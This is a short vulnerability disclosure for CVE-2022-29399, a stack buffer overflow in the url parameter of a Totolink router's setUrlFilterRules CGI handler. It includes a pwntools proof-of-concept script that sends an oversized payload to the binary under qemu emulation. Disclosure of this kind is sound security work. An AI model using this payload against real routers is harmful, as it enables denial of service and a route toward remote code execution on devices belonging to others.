CVE-2022-29399: IoT-vuln/Totolink/9.setUrlFilterRules at main · d1tto/IoT-vuln

The vulnerability exists in the router’s WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_00415bf0 (at address 0x415bf0) gets the JSON parameter url, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

from pwn import * import json

data = { "topicurl": "setting/setUrlFilterRules", "addEffect": "0", "url": "A"*0x200, }

data = json.dumps(data) print(data)

argv = [ "qemu-mips-static", "-g", "1234", "-L", "./lib", "-E", "LD_PRELOAD=./hook.so", "-E", "CONTENT_LENGTH={}".format(len(data)), "-E", "REMOTE_ADDR=192.168.2.1", “./cstecgi.cgi” ]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()